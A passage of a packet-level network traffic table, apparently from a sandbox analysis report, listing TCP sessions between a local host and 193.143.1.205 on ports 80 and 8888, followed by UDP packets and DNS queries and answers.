Jan 10, 2025 21:05:18.642929077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642940044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642963886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642997026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643006086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643032074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643065929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643074989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643101931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643135071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643141985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643171072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643205881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643217087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643241882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643276930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643281937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643333912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643368959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643382072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643404961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643438101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643460989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643472910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643507957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643520117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643543959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643579006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643591881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643613100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643646955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643660069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643682003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643714905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643728018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643847942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643882990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643894911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.643918037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643950939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.643960953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.645926952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.651602030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.651633978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.651669979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.651674986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.651710033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.651727915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.678699970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.678759098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.678767920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.678793907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.678831100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.678860903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.678865910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.678900003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.678905010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.688373089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688405037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688435078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.688457966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688504934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.688514948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688570023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688605070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688615084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.688640118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688676119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688684940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.688709974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688745022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688755989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.688776016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688810110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688822031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.688844919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688879967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688898087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.688915014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688950062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.688962936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.689078093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.689112902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.689126015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.689147949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.689182043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.689205885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.689217091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.689228058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.689245939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.689280033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.689292908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.689318895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.689358950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.706166029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.727175951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727217913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727252007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727267981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.727288008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727328062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.727349043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727385044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727421045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727430105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.727473974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727519989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.727529049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727560043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727593899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727607012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.727641106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727686882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.727693081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727727890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727777958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.727792025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727832079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727876902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.727883101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727917910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727952003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.727963924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728024006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728058100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728069067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728092909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728127003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728132963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728178978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728224039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728230953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728281975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728316069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728326082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728351116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728384972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728394985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728420019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728454113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728465080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728488922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728533030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728549004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728585005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728617907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728632927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728652954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728692055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728698015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728745937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728780031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728791952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728816032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728849888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728861094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728904009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.728945017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.728955984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729011059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729044914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729054928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729096889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729134083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729142904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729171038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729206085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729223013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729242086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729276896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729288101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729312897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729347944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729360104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729382992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729418993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729432106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729454994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729492903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729497910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729530096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729564905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729573011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729599953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729635000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729650974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729671001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729705095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729717016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729739904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729775906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729789019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729813099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729845047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729860067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729878902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729912043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729918957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.729947090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729979992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.729985952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.730015039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730050087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730056047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.730086088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730118990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730140924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.730154037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730186939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730196953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.730230093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730262995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730268955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.730298996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730334997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730339050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.730370998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730405092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730417967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.730439901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730475903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.730484009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.733738899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.738503933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.738564014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.738564968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.738601923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.738636971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.738647938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.738673925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.738708019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.738715887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.738744020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.738779068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.738785028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.762798071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.766297102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.775392056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775439978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775448084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.775456905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775473118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775489092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775494099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.775507927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775523901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.775530100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775543928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775559902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775564909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.775577068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775592089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775609016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775618076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.775624037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775641918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775654078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.775655985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775669098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.775693893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.775871992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775887012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775928974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.775958061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775974035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.775989056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.776002884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.776010990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.776021004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.776037931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.776040077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.776073933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.777687073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.815104961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815215111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815252066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815267086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.815287113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815335989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.815346003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815380096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815414906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815431118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.815448999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815484047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815493107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.815521955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815560102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815565109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.815593958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815638065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815644026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.815670967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815709114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815716982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.815743923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815778971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815792084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.815813065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.815854073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.815867901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.866714001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.873301029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:19.263895988 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:19.268785954 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:19.268857002 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:19.269376993 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:19.274182081 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:20.104664087 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:20.147985935 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:20.350317955 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:47.242819071 CET	63800	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:05:47.247632980 CET	53	63800	162.159.36.2	192.168.2.5
Jan 10, 2025 21:05:47.247782946 CET	63800	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:05:47.252563000 CET	53	63800	162.159.36.2	192.168.2.5
Jan 10, 2025 21:05:48.612867117 CET	63800	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:05:48.612890005 CET	63800	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:05:48.613311052 CET	63800	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:05:48.614761114 CET	63800	53	192.168.2.5	162.159.36.2
Jan 10, 2025 21:05:48.618046999 CET	53	63800	162.159.36.2	192.168.2.5
Jan 10, 2025 21:05:48.618190050 CET	63800	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:05:32.498238087 CET	58062	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:05:47.242290020 CET	53	52620	162.159.36.2	192.168.2.5
Jan 10, 2025 21:05:48.619889021 CET	55193	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:05:48.630014896 CET	53	55193	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:05:32.498238087 CET	192.168.2.5	1.1.1.1	0x5a8e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:05:48.619889021 CET	192.168.2.5	1.1.1.1	0xc2bd	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:05:32.029315948 CET	1.1.1.1	192.168.2.5	0x7f6	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:05:32.029315948 CET	1.1.1.1	192.168.2.5	0x7f6	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:05:32.505940914 CET	1.1.1.1	192.168.2.5	0x5a8e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
